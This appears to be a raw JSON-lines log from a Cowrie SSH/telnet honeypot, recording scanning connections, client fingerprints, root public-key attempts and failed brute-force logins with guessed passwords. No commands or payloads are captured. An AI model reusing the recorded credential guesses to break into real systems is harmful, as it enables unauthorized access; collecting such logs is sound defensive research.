{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:22:19.159952Z","src_ip":"194.59.206.2","session":"b3a00d6f019e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:22:19.251405Z","src_ip":"194.59.206.2","session":"b3a00d6f019e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:22:19.349535Z","src_ip":"194.59.206.2","session":"b3a00d6f019e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.20843482017517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:22:36.645099Z","src_ip":"97.74.232.189","session":"dcf25776b787","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.93.102.236","src_port":27674,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a6f43bf7b99","protocol":"ssh","message":"New connection: 172.93.102.236:27674 (10.17.0.5:22) [session: 7a6f43bf7b99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:24:19.350635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:24:19.355656Z","src_ip":"172.93.102.236","session":"7a6f43bf7b99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:24:19.365374Z","src_ip":"172.93.102.236","session":"7a6f43bf7b99","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d9:54:e2:46:b9:a0:23:b8:0e:28:f7:67:b8:d5:1a:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQT75LCIUoBkk3noD/OIF36LCjn2OlJUt0DeAw+f3zHT6Na30gCOWojLgaxdSRqpijVBlggy3f45zM9paSbCiTY+Lm1eP++hQm0lIjUNplLATJkZARc4BTjt5mVsFVXi/gi2pJtNHXaThnfqVs7xv4JDwjvuPsnmGn3CzDzspcuvYL/XNC/Z2W7oB5woKGx7MN+1Xnxb50Yq5RH1wcXHztbPFjOspNmoROmVCmMt0NEoExtiAW8dtgE6fBTTez6dSULN+M7FyGh3W2BtUSL6gN5mrDsHFLfJ4DqE0Zjj+Sgpq9I/IQrKzr8e4D50cE0X/x/zPTZGyhg1BvvyvfLTvt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d9:54:e2:46:b9:a0:23:b8:0e:28:f7:67:b8:d5:1a:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:24:19.393669Z","src_ip":"172.93.102.236","session":"7a6f43bf7b99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d9:54:e2:46:b9:a0:23:b8:0e:28:f7:67:b8:d5:1a:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQT75LCIUoBkk3noD/OIF36LCjn2OlJUt0DeAw+f3zHT6Na30gCOWojLgaxdSRqpijVBlggy3f45zM9paSbCiTY+Lm1eP++hQm0lIjUNplLATJkZARc4BTjt5mVsFVXi/gi2pJtNHXaThnfqVs7xv4JDwjvuPsnmGn3CzDzspcuvYL/XNC/Z2W7oB5woKGx7MN+1Xnxb50Yq5RH1wcXHztbPFjOspNmoROmVCmMt0NEoExtiAW8dtgE6fBTTez6dSULN+M7FyGh3W2BtUSL6gN5mrDsHFLfJ4DqE0Zjj+Sgpq9I/IQrKzr8e4D50cE0X/x/zPTZGyhg1BvvyvfLTvt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:24:19.397544Z","src_ip":"172.93.102.236","session":"7a6f43bf7b99","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c6:9e:92:cf:cf:70:34:8b:a1:d6:80:10:60:67:33:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzfv87wlZ5hro2avBvuo79fGtO5SyzMPAOeepvkPvmsY8jH+/gj5qsqnPYdixubKIb4fIFFTeSaJRl9Qt+Z5GxcO9sVcp+3BAV3XlrmUT27C3koYa6SUYUuAacBo5Swib/WehtElKSHzYAP3fcJ0HovahZRHMk+MbkwRqL4qoPu9wy590bp9RI52C4a3HB2X6sUuiPRgDcu/ZY3Rrd9t7xxECYkaCW8Ncyb4aXIhPFlMyee2I2DLXddSPKEugerNn9R4hRXPud3UirqH/lqI/onE8TEKQHe24c2FwIX84cVNZ0uO4CucOPezkgtLrZti31f0fdmHB6O7Pt+s7Oz/1pQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c6:9e:92:cf:cf:70:34:8b:a1:d6:80:10:60:67:33:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:24:19.405968Z","src_ip":"172.93.102.236","session":"7a6f43bf7b99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c6:9e:92:cf:cf:70:34:8b:a1:d6:80:10:60:67:33:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzfv87wlZ5hro2avBvuo79fGtO5SyzMPAOeepvkPvmsY8jH+/gj5qsqnPYdixubKIb4fIFFTeSaJRl9Qt+Z5GxcO9sVcp+3BAV3XlrmUT27C3koYa6SUYUuAacBo5Swib/WehtElKSHzYAP3fcJ0HovahZRHMk+MbkwRqL4qoPu9wy590bp9RI52C4a3HB2X6sUuiPRgDcu/ZY3Rrd9t7xxECYkaCW8Ncyb4aXIhPFlMyee2I2DLXddSPKEugerNn9R4hRXPud3UirqH/lqI/onE8TEKQHe24c2FwIX84cVNZ0uO4CucOPezkgtLrZti31f0fdmHB6O7Pt+s7Oz/1pQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:24:19.409820Z","src_ip":"172.93.102.236","session":"7a6f43bf7b99","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:91:53:b7:9a:23:59:8f:61:9a:5f:41:db:e4:2b:b4","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMaDVjwFzdExAn0M7QTt7j4iKjcouIqVuhQVV6E5214hGd7y+6teX9pwzcu3hmsniguM8bJi+QMXxEq6MNw62CkPMfiP+eRLMDFUQmKTps60HaXxB0TsRt+Mgm3W9wu/JHk4bvJMI4Quh00rXkNXemH8R92P6Feg1OybgvCfiS1TAAAAFQD7GYqoQM34IEeSjbPtwQENA3nQ1wAAAIEAs55JQl927diJ0qz4/sypx+dacI4UyD3gTKSYAnHGe4vNGv8fBfNU0QwG+rAUg1lDR4or+/GPL+SWhNSw4FXCv8EgEf1kVyN8LcL96v9HswmPg6SkcVyWQDCcFzWyDxWxtI4aaz1ZLW2Rho8PheNFJiJZOmwzZU1Ft37Tn4HYy+QAAACBAJzMBRwzjCm6qTnAT94UdN8uibMPBvSB/bWeJ4O+Y/tNtOdZpDG6/VlSPv4KOT5vm1cpupOOrPQEPnynrUnOha30qv13+ZEEzTIRoRKKvgpQWoqLxFT2NIXL0KLb5StCs8EMRJW44nquddxvGHKGBpluqS2F5elMzqizDB1DR8nD","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint b4:91:53:b7:9a:23:59:8f:61:9a:5f:41:db:e4:2b:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:24:19.418668Z","src_ip":"172.93.102.236","session":"7a6f43bf7b99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:91:53:b7:9a:23:59:8f:61:9a:5f:41:db:e4:2b:b4","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMaDVjwFzdExAn0M7QTt7j4iKjcouIqVuhQVV6E5214hGd7y+6teX9pwzcu3hmsniguM8bJi+QMXxEq6MNw62CkPMfiP+eRLMDFUQmKTps60HaXxB0TsRt+Mgm3W9wu/JHk4bvJMI4Quh00rXkNXemH8R92P6Feg1OybgvCfiS1TAAAAFQD7GYqoQM34IEeSjbPtwQENA3nQ1wAAAIEAs55JQl927diJ0qz4/sypx+dacI4UyD3gTKSYAnHGe4vNGv8fBfNU0QwG+rAUg1lDR4or+/GPL+SWhNSw4FXCv8EgEf1kVyN8LcL96v9HswmPg6SkcVyWQDCcFzWyDxWxtI4aaz1ZLW2Rho8PheNFJiJZOmwzZU1Ft37Tn4HYy+QAAACBAJzMBRwzjCm6qTnAT94UdN8uibMPBvSB/bWeJ4O+Y/tNtOdZpDG6/VlSPv4KOT5vm1cpupOOrPQEPnynrUnOha30qv13+ZEEzTIRoRKKvgpQWoqLxFT2NIXL0KLb5StCs8EMRJW44nquddxvGHKGBpluqS2F5elMzqizDB1DR8nD","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:24:19.424692Z","src_ip":"172.93.102.236","session":"7a6f43bf7b99","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:45:b9:31:9b:06:e0:bc:e9:8e:54:d9:a1:66:70:ed","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIID+3oWmJ8ilfZTFRlK/fnmKfZwcJWZ+74MNcCtKytc","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint cf:45:b9:31:9b:06:e0:bc:e9:8e:54:d9:a1:66:70:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:24:19.436018Z","src_ip":"172.93.102.236","session":"7a6f43bf7b99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:45:b9:31:9b:06:e0:bc:e9:8e:54:d9:a1:66:70:ed","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIID+3oWmJ8ilfZTFRlK/fnmKfZwcJWZ+74MNcCtKytc","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:24:19.439723Z","src_ip":"172.93.102.236","session":"7a6f43bf7b99","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:fa:8b:45:11:c6:cb:ca:69:bd:24:2a:70:1e:ed:9b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOS9Gj2d2Vnf61vqUqApuCw3qMVLd9EP57jDnyERnlWo","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 8a:fa:8b:45:11:c6:cb:ca:69:bd:24:2a:70:1e:ed:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:24:19.450619Z","src_ip":"172.93.102.236","session":"7a6f43bf7b99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:fa:8b:45:11:c6:cb:ca:69:bd:24:2a:70:1e:ed:9b","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOS9Gj2d2Vnf61vqUqApuCw3qMVLd9EP57jDnyERnlWo","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:24:19.455551Z","src_ip":"172.93.102.236","session":"7a6f43bf7b99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:24:19.467369Z","src_ip":"172.93.102.236","session":"7a6f43bf7b99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.190","src_port":15766,"dst_ip":"10.17.0.5","dst_port":22,"session":"657267ab12d7","protocol":"ssh","message":"New connection: 176.65.132.190:15766 (10.17.0.5:22) [session: 657267ab12d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:25:54.930579Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:25:54.937555Z","src_ip":"176.65.132.190","session":"657267ab12d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.46.214.25","src_port":13761,"dst_ip":"10.17.0.5","dst_port":23,"session":"b60b2a6a530d","protocol":"telnet","message":"New connection: 112.46.214.25:13761 (10.17.0.5:23) [session: b60b2a6a530d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:26:49.636241Z"}
{"eventid":"cowrie.session.closed","duration":16.309319972991943,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:27:05.945784Z","src_ip":"112.46.214.25","session":"b60b2a6a530d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":61633,"dst_ip":"159.203.135.109","dst_port":22,"session":"db97cfc063c2","protocol":"ssh","message":"New connection: 2.57.121.112:61633 (159.203.135.109:22) [session: db97cfc063c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:28:13.995125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:28:14.002302Z","src_ip":"2.57.121.112","session":"db97cfc063c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:28:14.104074Z","src_ip":"2.57.121.112","session":"db97cfc063c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"daddie","message":"login attempt [admin/daddie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:28:14.581541Z","src_ip":"2.57.121.112","session":"db97cfc063c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"D9uNgL","message":"login attempt [admin/D9uNgL] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:28:15.686402Z","src_ip":"2.57.121.112","session":"db97cfc063c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"D9ebk7","message":"login attempt [admin/D9ebk7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:28:16.792396Z","src_ip":"2.57.121.112","session":"db97cfc063c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cyberman","message":"login attempt [admin/cyberman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:28:17.904359Z","src_ip":"2.57.121.112","session":"db97cfc063c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cvbncvbn","message":"login attempt [admin/cvbncvbn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:28:19.010304Z","src_ip":"2.57.121.112","session":"db97cfc063c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:28:20.116380Z","src_ip":"2.57.121.112","session":"db97cfc063c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":52384,"dst_ip":"10.17.0.5","dst_port":23,"session":"e39b8194363d","protocol":"telnet","message":"New connection: 50.6.8.71:52384 (10.17.0.5:23) [session: e39b8194363d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:29:10.940409Z"}
{"eventid":"cowrie.session.closed","duration":32.134690046310425,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:29:43.074988Z","src_ip":"50.6.8.71","session":"e39b8194363d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":17822,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ab7c82c6fda","protocol":"ssh","message":"New connection: 2.57.121.25:17822 (159.203.135.109:22) [session: 3ab7c82c6fda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:30:38.112709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:30:38.119051Z","src_ip":"2.57.121.25","session":"3ab7c82c6fda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:30:38.226395Z","src_ip":"2.57.121.25","session":"3ab7c82c6fda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dedede","message":"login attempt [user/dedede] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:30:38.722071Z","src_ip":"2.57.121.25","session":"3ab7c82c6fda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dede","message":"login attempt [user/dede] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:30:39.832541Z","src_ip":"2.57.121.25","session":"3ab7c82c6fda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dbnfkz","message":"login attempt [user/dbnfkz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:30:40.944922Z","src_ip":"2.57.121.25","session":"3ab7c82c6fda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.232.189","src_port":35070,"dst_ip":"159.203.135.109","dst_port":23,"session":"9aeeb39492be","protocol":"telnet","message":"New connection: 97.74.232.189:35070 (159.203.135.109:23) [session: 9aeeb39492be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:30:41.215438Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"days","message":"login attempt [user/days] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:30:42.053604Z","src_ip":"2.57.121.25","session":"3ab7c82c6fda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"dawgs1","message":"login attempt [user/dawgs1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:30:43.163382Z","src_ip":"2.57.121.25","session":"3ab7c82c6fda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:30:44.274310Z","src_ip":"2.57.121.25","session":"3ab7c82c6fda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.27133584022522,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:31:11.486645Z","src_ip":"97.74.232.189","session":"9aeeb39492be","protocol":"telnet"}
